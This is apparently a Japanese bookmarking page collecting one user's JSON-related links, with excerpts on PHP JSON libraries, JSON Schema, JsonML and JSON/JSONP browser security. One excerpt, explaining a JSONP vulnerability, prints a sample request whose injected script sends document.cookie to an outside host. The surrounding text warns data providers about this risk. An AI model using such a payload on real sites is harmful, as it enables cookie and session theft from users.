タグ

jsonに関するisdyyのブックマーク (18)

  • Jsphonをcodereposにアップロードしました。 - XOOPS専門-株式会社RYUS

    haltです。 皆さんはJsphonというライブラリをご存知でしょうか。 www.hawklab.jp のhawkさんが書 かれたPHPでJSONをエンコードしたりデコードする為のライブラリです。PHPにはjson_encodeとjson_decodeという関数がありますが、比較的新しいPHPにしか実装されていない為、古いバージョンでJSONを利用する場合は別途ライブラリが必要になります。 非常に多くのライブラリやアプリケーションがこのJsphonを利用しているのですが、残念 ながらhawkさんがJsphonを公開していた www.hawklab.jp が閉鎖してしまった為、ライブ ラリの入手ができなくなりました。 そこで、JsphonがPHPライセンスである事に着目し、私のディスク内にあったJsphonをcodereposにアップロードしました。 codereposとは、http://c

    isdyy
    isdyy 2009/07/10
  • JSONスキーマのローカル構文に関する思案・試案 - 檜山正幸のキマイラ飼育記 (はてなBlog)

    JSONスキーマについて書いた2つのエントリー「JSONの可能性がグンと拡がるぞ! JSONスキーマ」と「JSONスキーマの功罪を、印象や感情じゃなくて考えてみようか」において、僕は次のように書きました。 読みにくい/書きにくいのは相当に痛い欠点だと思います。ローカル/インターナルに使用するなら、もう少し簡略な構文でもいいんじゃないかな、とか考えてます。 直接手で書いたり目で見たりすることを考えると、あの構文はどうにもいただけません。JSONオブジェクトにスキーマを埋め込む(自己記述的なデータを作る)ためには、JSONスキーマはJSON構文で書かなくてはならないのですが、インスタンスとスキーマが分離した状況では、(原理的には)スキーマに別構文を採用するのも許されるはずです。あの構文は、僕の感情的あるいは生理的な許容範囲を超えているので、たぶん意味的には同値な別構文をでっち上げるでしょうね、

    JSONスキーマのローカル構文に関する思案・試案 - 檜山正幸のキマイラ飼育記 (はてなBlog)
    isdyy
    isdyy 2009/05/29
  • JSONの可能性がグンと拡がるぞ! JSONスキーマ - 檜山正幸のキマイラ飼育記 (はてなBlog)

    JSON(http://www.json.org/)データはけっこうよく使うので、何度か話題にしたことがあります(例えば「もう一度、ちゃんとJSON入門」)。でも、JSONには型情報/メタ情報が付けられないのがとても不満で、JSON改なんてもんを考えたこともありました。(後でXIONに改名) JSONデータに対するスキーマ定義の仕様がかたまりつつあることを、ごく最近になって知りました。 http://json-schema.org/ JSON体はRFC 4627になっていますが、JSONスキーマの標準化のステータスは、あまりハッキリとは分かりません(僕には)。http://groups.google.com/group/json-schema?pli=1 を覗き見した感じでは、現状ワーキングドラフトという位置付けらしいです。 なかなか面白いし役に立ちそうなので紹介します。ただし、僕にとっ

    JSONの可能性がグンと拡がるぞ! JSONスキーマ - 檜山正幸のキマイラ飼育記 (はてなBlog)
    isdyy
    isdyy 2009/04/13
  • Apache CouchDB

    Data Where You Need It Apache CouchDB ™ lets you access your data where you need it. The Couch Replication Protocol is implemented in a variety of projects and products that span every imaginable computing environment from globally distributed server-clusters, over mobile phones to web browsers. Store your data safely, on your own servers, or with any leading cloud provider. Your web- and native a

  • John Resig - The State of JSON

    I wanted to pull together some of the recent events that have occurred, related to native JSON support within a web browser, that should be of importance to many web developers. This should serve as a sort-of follow-up to my previous post: Native JSON Support is Required. Early API Standardization Attempts – Last year, a number of attempts were made by the ECMAScript language committee to standard

  • 絵文字データベースと相互変換マッピングデータベースのJSONファイルを公開します。

    こんにちは、亀です。 === 追記:みなさんいっぱいはてブしてくれたようなので、せっかくなのでちょっと宣伝です(^^; この絵文字データベースは、携帯専用イベント支援サイト「あつまろ☆ねっと」というサイトの、メーリングリスト連動型の掲示板を構築していく過程で出来上がったものです。 「あつまろ☆ねっと」は現在ベータ版ですが、ぜひ利用してやってください<(。_。)>ペコリ === 携帯サイト作成の際に頭を悩ます最初の関門が、絵文字の取り扱いだと思います。 各社とも絵文字のデータ形式や相互変換表などを公開してくれていますが、取り扱いやすいデータ形式で統一的にまとめてある情報がなかなか存在しなかったりして、車輪の再発明が非常に多い分野ではないかな、という気がしました。 そこで、どうせなら利用しやすいようにきっちり整理しようと思い、各種文字コードや表示形式を統括的に扱う絵文字データと、それらの絵

    絵文字データベースと相互変換マッピングデータベースのJSONファイルを公開します。
  • JSON and Browser Security

    JSON is a data interchange format. It is used in the transmission of data between machines. Since it carries only data, it is security-neutral. The security of systems that use JSON is determined by the quality of the design of those systems. JSON itself introduces no vulnerabilities. The web browser is a peculiar application environment. The security model of the browser was forged through a long

  • JSONのセキュリティの、疑問 - FAX

    snippets from shinichitomita’s journal - クロスドメインでのデータ読み込みを防止するJavaScript ? 東京で舘野にも聞いたんだけど、JSONとクロスドメインのデータ漏洩の問題がよく分からない。JSONって、そもそもいろんな所から使って欲しいからJSONなんじゃないの?裸で戦場で生き残るにはどうすればよいか、←服着ろよ、みたいなことになってない?外部から読まれるとまずいデータは、ハナからJSONじゃなきゃいいのにと思うんだけど。 name : 'brasil', age : 30 } XHRで取って、補ってevalする感じで。 でも、すごい人たちで考えてるので、きっと僕の考え違いなのら。 追記mala 『gmailで使ってるJSONは先頭にwhile(1)がついてて外部で使うとブラクラになるよ』それ、なんてポイズン・ピル? (w

  • Ajaxian » The safety of JSON

    Enterprise Strategy Group: Go-to-market Expertise to Help You Win

    Ajaxian » The safety of JSON
  • Exif JSONサービス - Ogawa::Memoranda

    Posted by: Hirotaka Ogawa @ January 26, 2007 11:49 AM | デジタルカメラなどで撮影した画像ファイルに含まれるExifメタ情報を取得し、JSON形式で出力するサービスを作ってみました。 JSON形式で取得する JSON形式でExif情報を取得する場合には以下の形式のURLをGETします。 http://as-is.net/exif/json?url=<Image-URL> 戻り値はJSON形式のExif情報です。 {"FocalLengthIn35mmFormat":28,"ThumbnailOffset":8096,"WhiteBalance (1)":"Auto", "Model":"DMC-LX2","FlashpixVersion":"0100","ShutterSpeed":"1/100", "ShootingMode":"Pr

  • steps to phantasien t(2007-01-03) いつもの派閥争いの話

    去年の未読 feed を消化していたら, XML vs JSON という話がぞろぞろ出てきた. 火事と喧嘩は XML の華. 最近ちょっとおとなしかったけれど, たまにはこういうのがないと寂しいよね. 火元は JSON の親玉である Douglas Crockford が XML2007 で行った講演 "JSON, The Fat-Free Alternative to XML" らしい (スライドの ppt) . XML 愛好家の集りで XML でないフォーマットの話をするとは豪胆だ. しかも暗に "おまいらおでぶちゃんとは違うんだぜ" と煽っているわけだから, XML ファンが刺激されるのも仕方ない. まとめ記事によると, 反撃の狼煙を上げたのは Scripting News らしい. でも読んでみるとあんまし JSON をわかってない節がある. 人も自覚があるのか, 議論をうながし

  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

  • JsonML (JSON Markup Language)

    JsonML.org JSON Markup Language (JsonML) JsonML (JSON Markup Language) is an application of the JSON (JavaScript Object Notation) format. The purpose of JsonML is to provide a compact format for transporting XML-based markup as JSON which allows it to be losslessly converted back to its original form. Native XML/XHTML doesn't sit well embedded in JavaScript. When XHTML is stored in script it must

  • JsonML を使う高速テンプレートエンジン「JsonML.Template」 - IT戦記

    というのを作ってみた JsonML とは JSON を使ったマークアップ言語です。 http://jsonml.org/ 使いかた // テンプレートの作成 // <div class="section"><h2>タイトル</h2><p>文</p></div> var t = $T(['div', {class: 'section'}, ['h2', 'タイトル'], ['p', '文'] ]); // 要素の生成 document.body.appendChild(t()); // 呼び出すだけ // テンプレートの作成 var t = $T(['div', {class: 'section'}, ['h3', function(c){return c.getVar('title')}], // タイトルを動的に生成 ['p', function(c){retur

    JsonML を使う高速テンプレートエンジン「JsonML.Template」 - IT戦記
  • Kazuho@Cybozu Labs: 安全な JSON, 危険な JSON (Cross-site Including?)

    « クロスサイトのセキュリティモデル | メイン | E4X-XSS 脆弱性について » 2007年01月06日 安全な JSON, 危険な JSON (Cross-site Including?) 先のエントリで、 JSON については、JavaScript として副作用をもたない (もたせようがない) ゆえに文法違反であるがゆえに、秘密情報を含むデータフォーマットとして使用することができるのです。 (Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル) と書いたのですが、認識が甘かったようです。Jeremiah Grossman: Advanced Web Attack Techniques using GMail によると、配列の初期化演算子 [] の動作を外部から変更することができる注1とのこと。 実際に手元の Firefox 1.5 で試してみたところ、JS

  • JavaScriptのソースに重要なデータを埋め込むなんて….

    (Last Updated On: 2007年1月3日)GmailでJavaScriptのソースとしてコンタクトリストデータを埋め込んでいたため、第三者がコンタクトリストを盗めてしまう、という問題が話題になっています。 まだ詳しく調べていませんがsrc属性に指定されたソースは誰でも(どのサイトからでも)取得できるブラウザの仕様を利用したものだと思います。 比較的早くからsrc属性で他のサイトのJavaScritpが指定できる仕様のリスクは指摘されていました。Gmailでさえ重要なデータをJavaScriptのソースに埋め込んでいるのですからAjaxアプリケーションの多くに同じ脆弱性があるような気がします… 手っ取り早く不完全な方法で修正するにはリファラチェック、きちんと修正するならJavaScriptのリクエストに鍵を付けてチェックする、といった方法で対策可能です。 http://exam

    JavaScriptのソースに重要なデータを埋め込むなんて….
  • javascriptでJSONObject変換 (Kanasansoft Web Lab.)

    このJSONの変換処理は時代遅れとなっています。 最新の動向を知りたい方は、以下のキーワードで検索する事をお勧めします。 「JSON.stringify」「JSON.parse」「json2.js」 追記終わり JavaScriptのObjectをJSONに変換するクラス。JSONの規格外のオブジェクト(Functionオブジェクト等)はnullとして処理するので注意。Collection & Copy - JSON入門に詳しい日語訳があるので興味のある方は参照してほしい。逆の処理をするevalもついでにラッピング。こちらはFunctionも認識してしまう。 /* ================================================================================ Name : JSON In : [none] Out : [n

  • JSON Inspector

    JSON Inspector - Enter a URL for a GData feed and click the Show me the JSON! button to inspect its JSON representation. (Firefox only)

  • 1